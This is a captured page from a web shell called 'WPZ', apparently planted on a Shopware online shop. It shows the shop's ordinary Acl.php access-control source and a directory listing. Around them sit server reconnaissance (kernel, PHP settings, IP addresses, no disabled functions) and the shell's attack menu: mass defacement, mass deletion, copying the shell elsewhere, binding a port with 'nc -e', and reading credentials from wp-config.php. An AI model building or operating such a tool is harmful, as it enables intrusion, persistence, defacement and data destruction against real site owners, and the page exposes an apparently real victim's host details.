WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Shopware/Components/Acl.php (6.65 KB)
<?php
/**
 * Shopware 5
 * Copyright (c) shopware AG
 *
 * According to our dual licensing model, this program can be used either
 * under the terms of the GNU Affero General Public License, version 3,
 * or under a proprietary license.
 *
 * The texts of the GNU Affero General Public License with an additional
 * permission and of our proprietary license can be found at and
 * in the LICENSE file you have received along with this program.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU Affero General Public License for more details.
 *
 * "Shopware" is a registered trademark of shopware AG.
 * The licensing of the program under the AGPLv3 does not imply a
 * trademark license. Therefore any rights, title and interest in
 * our trademarks remain entirely with us.
 */

use Shopware\Components\Model\ModelManager;

/**
 * Shopware ACL Components
 */
class Shopware_Components_Acl extends Zend_Acl
{
    /**
     * @var ModelManager
     */
    private $em;

    /**
     * @param ModelManager $em
     */
    public function __construct(ModelManager $em)
    {
        $this->em = $em;
        $this->initShopwareAclTree();
    }

    /**
     * Create shopware acl tree
     */
    private function initShopwareAclTree()
    {
        $this->initAclResources()
             ->initAclRoles()
             ->initAclRoleConditions();
    }

    /**
     * Get all resources from database and add to acl tree
     *
     * @return \Shopware_Components_Acl
     */
    public function initAclResources()
    {
        $repository = $this->em->getRepository('Shopware\Models\User\Resource');
        $resources = $repository->findAll();

        /**@var $resource Shopware\Models\User\Resource */
        foreach ($resources as $resource) {
            $this->addResource($resource);
        }

        return $this;
    }

    /**
     * Get all roles from s_core_auth_roles - check for parent role and add to tree
     *
     * @return \Shopware_Components_Acl
     */
    public function initAclRoles()
    {
        $repository = $this->em->getRepository('Shopware\Models\User\Role');
        $roles = $repository->findAll();

        /** @var $role \Shopware\Models\User\Role */
        foreach ($roles as $role) {
            /** @var $parent \Shopware\Models\User\Role */
            $parent = $role->getParent();

            //parent exist and not already added?
            if ($parent && !$this->hasRole($parent)) {
                //register role and register role privileges
                $this->addRole($parent);
            }

            //if parent exists, the pass the parent name to the addRole function
            $this->addRole($role, $parent);
        }

        return $this;
    }

    /**
     * Resolve all resources / privileges / role dependencies from database
     * Should work as followed:
     * If resourceID & privilegeID = null -> Global admin
     * If resourceID != null AND privilegeID = null -> Module admin
     * If resourceID & privilegeID is set - Grant permission to a certain privilege of a particular module
     *
     * @return \Shopware_Components_Acl
     */
    public function initAclRoleConditions()
    {
        $rules = $this->em->getRepository('Shopware\Models\User\Rule')->findAll();

        /** @var $rule \Shopware\Models\User\Rule */
        foreach ($rules as $rule) {
            $role = $rule->getRole();

            $resource = $rule->getResource();
            $privilege = $rule->getPrivilege();

            if ($resource === null && $privilege === null) {
                $this->allow($role);
            } elseif ($privilege === null) {
                $this->allow($role, $resource);
            } else {
                $this->allow($role, $resource, $privilege->getName());
            }
        }

        return $this;
    }

    /**
     * Is the resource identified by $resourceName already in database ?
     * @param $resourceName
     * @return bool
     */
    public function hasResourceInDatabase($resourceName)
    {
        $repository = $this->em->getRepository('Shopware\Models\User\Resource');
        $resource = $repository->findOneBy(array("name" => $resourceName));

        return !empty($resource);
    }

    /**
     * Create a new resource and optionally privileges, menu item relationships and plugin dependency
     * @param $resourceName - unique identifier or resource key
     * @param array|null $privileges - optionally array [a,b,c] of new privileges
     * @param null $menuItemName - optionally s_core_menu.name item to link to this resource
     * @param null $pluginID - optionally pluginID that implements this resource
     * @throws Enlight_Exception
     */
    public function createResource($resourceName, array $privileges = null, $menuItemName = null, $pluginID = null)
    {
        // Check if resource already exists
        if ($this->hasResourceInDatabase($resourceName)) {
            throw new Enlight_Exception("Resource $resourceName already exists");
        }

        $resource = new \Shopware\Models\User\Resource();
        $resource->setName($resourceName);
        $resource->setPluginId($pluginID);

        $this->em->persist($resource);
        $this->em->flush();

        if (!empty($privileges)) {
            foreach ($privileges as $privilege) {
                $this->createPrivilege($resource->getId(), $privilege);
            }
        }
    }

    /**
     * Create a privilege in a particular resource
     * @param int $resourceId
     * @param string $name
     */
    public function createPrivilege($resourceId, $name)
    {
        $privilege = new \Shopware\Models\User\Privilege();
        $privilege->setName($name);
        $privilege->setResourceId($resourceId);

        $this->em->persist($privilege);
        $this->em->flush();
    }

    /**
     * Delete resource and its privileges from database
     * @param $resourceName
     * @return bool
     */
    public function deleteResource($resourceName)
    {
        $repository = $this->em->getRepository('Shopware\Models\User\Resource');
        /** @var $resource \Shopware\Models\User\Resource */
        $resource = $repository->findOneBy(array("name" => $resourceName));
        if (empty($resource)) {
            return false;
        }

        //The mapping table s_core_acl_roles must be cleared manually.
        $this->em->getConnection()->executeUpdate(
            "DELETE FROM s_core_acl_roles WHERE resourceID = ?",
            [$resource->getId()]
        );

        //The privileges will be removed automatically
        $this->em->remove($resource);
        $this->em->flush();

        return true;
    }
}
namawaktuukuranownerpermaksi
..
Api/ 2016-11-07 16:02287.29 KB 76129f60960:kundendxwrx-rx-r
Auth/ 2016-11-07 16:029.48 KB 76129f60960:kundendxwrx-rx-r
Benchmark/ 2016-11-07 15:592.97 KB 76129f60960:kundendxwrx-rx-r
CategoryHandling/ 2016-11-07 15:596.7 KB 76129f60960:kundendxwrx-rx-r
Check/ 2016-11-07 16:02137.23 KB 76129f60960:kundendxwrx-rx-r
Compatibility/ 2016-11-07 15:5940.29 KB 76129f60960:kundendxwrx-rx-r
Console/ 2016-11-07 15:599.29 KB 76129f60960:kundendxwrx-rx-r
Convert/ 2016-11-07 15:5921.31 KB 76129f60960:kundendxwrx-rx-r
Cron/ 2016-11-07 15:591.8 KB 76129f60960:kundendxwrx-rx-r
DependencyInjection/ 2016-11-07 16:0289.93 KB 76129f60960:kundendxwrx-rx-r
Emotion/ 2016-11-07 15:596.4 KB 76129f60960:kundendxwrx-rx-r
Escaper/ 2016-11-07 15:595.38 KB 76129f60960:kundendxwrx-rx-r
Form/ 2016-11-07 16:0245.21 KB 76129f60960:kundendxwrx-rx-r
HttpCache/ 2016-11-07 15:5927.91 KB 76129f60960:kundendxwrx-rx-r
HttpClient/ 2016-11-07 15:59261.1 KB 76129f60960:kundendxwrx-rx-r
Install/ 2016-11-07 15:593.59 KB 76129f60960:kundendxwrx-rx-r
LegacyRequestWrapper/ 2016-11-07 15:599.77 KB 76129f60960:kundendxwrx-rx-r
License/ 2016-11-07 16:0218.86 KB 76129f60960:kundendxwrx-rx-r
Log/ 2016-11-07 16:0233.09 KB 76129f60960:kundendxwrx-rx-r
Migrations/ 2016-11-07 15:5910.92 KB 76129f60960:kundendxwrx-rx-r
Model/ 2016-11-07 16:04141.64 KB 76129f60960:kundendxwrx-rx-r
MultiEdit/ 2016-11-07 16:0298 KB 76129f60960:kundendxwrx-rx-r
Password/ 2016-11-07 16:0218.5 KB 76129f60960:kundendxwrx-rx-r
Plugin/ 2016-11-07 16:02119.2 KB 76129f60960:kundendxwrx-rx-r
ProductStream/ 2016-11-07 15:5919.08 KB 76129f60960:kundendxwrx-rx-r
Routing/ 2016-11-07 16:0258.6 KB 76129f60960:kundendxwrx-rx-r
Snippet/ 2016-11-07 16:0238.98 KB 76129f60960:kundendxwrx-rx-r
Test/ 2016-11-07 16:024.02 KB 76129f60960:kundendxwrx-rx-r
Theme/ 2016-11-07 16:02130.93 KB 76129f60960:kundendxwrx-rx-r
Thumbnail/ 2016-11-07 16:0221.71 KB 76129f60960:kundendxwrx-rx-r
Validator/ 2016-11-07 15:593.01 KB 76129f60960:kundendxwrx-rx-r
Acl.php 2016-11-07 15:586.65 KB 76129f60960:kunden-xw-x-----
edt
AttributeSubscriber.php 2016-11-07 15:584.73 KB 76129f60960:kunden-xw-x-----
edt
Auth.php 2016-11-07 15:585.26 KB 76129f60960:kunden-xw-x-----
edt
CSRFTokenValidationException.php 2016-11-07 15:581.08 KB 76129f60960:kunden-xw-x-----
edt
CSRFTokenValidator.php 2016-11-07 15:585.52 KB 76129f60960:kunden-xw-x-----
edt
CSRFWhitelistAware.php 2016-11-07 15:581.23 KB 76129f60960:kunden-xw-x-----
edt
CacheManager.php 2016-11-07 15:5812.56 KB 76129f60960:kunden-xw-x-----
edt
Config.php 2016-11-07 15:587.9 KB 76129f60960:kunden-xw-x-----
edt
ConfigLoader.php 2016-11-07 15:585.01 KB 76129f60960:kunden-xw-x-----
edt
ConfigWriter.php 2016-11-07 15:584.32 KB 76129f60960:kunden-xw-x-----
edt
ContainerAwareEventManager.php 2016-11-07 15:586.61 KB 76129f60960:kunden-xw-x-----
edt
CsvIterator.php 2016-11-07 15:586.91 KB 76129f60960:kunden-xw-x-----
edt
Document.php 2016-11-07 15:5822.91 KB 76129f60960:kunden-xw-x-----
edt
Form.php 2016-11-07 15:581.43 KB 76129f60960:kunden-xw-x-----
edt
HolidayTableUpdater.php 2016-11-07 15:584.42 KB 76129f60960:kunden-xw-x-----
edt
Licence.php 2016-11-07 15:581.25 KB 76129f60960:kunden-xw-x-----
edt
LicenseInstaller.php 2016-11-07 15:583.04 KB 76129f60960:kunden-xw-x-----
edt
Logger.php 2016-11-07 15:581.59 KB 76129f60960:kunden-xw-x-----
edt
MemoryLimit.php 2016-11-07 15:582.04 KB 76129f60960:kunden-xw-x-----
edt
Modules.php 2016-11-07 15:584.94 KB 76129f60960:kunden-xw-x-----
edt
NumberRangeIncrementer.php 2016-11-07 15:582.16 KB 76129f60960:kunden-xw-x-----
edt
NumberRangeIncrementerInterface.php 2016-11-07 15:581.65 KB 76129f60960:kunden-xw-x-----
edt
OpenSSLVerifier.php 2016-11-07 15:582.82 KB 76129f60960:kunden-xw-x-----
edt
Plugin.php 2016-11-07 15:585.31 KB 76129f60960:kunden-xw-x-----
edt
QueryAliasMapper.php 2016-11-07 15:584.62 KB 76129f60960:kunden-xw-x-----
edt
Random.php 2016-11-07 15:585.7 KB 76129f60960:kunden-xw-x-----
edt
ReflectionHelper.php 2016-11-07 15:582.11 KB 76129f60960:kunden-xw-x-----
edt
SitePageMenu.php 2016-11-07 15:585.13 KB 76129f60960:kunden-xw-x-----
edt
SitemapXMLRepository.php 2016-11-07 15:5810.86 KB 76129f60960:kunden-xw-x-----
edt
StringCompiler.php 2016-11-07 15:584.64 KB 76129f60960:kunden-xw-x-----
edt
TemplateMail.php 2016-11-07 15:587.54 KB 76129f60960:kunden-xw-x-----
edt
Theme.php 2016-11-07 15:5813.07 KB 76129f60960:kunden-xw-x-----
edt
Translation.php 2016-11-07 15:5816.25 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Shopware/Components
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK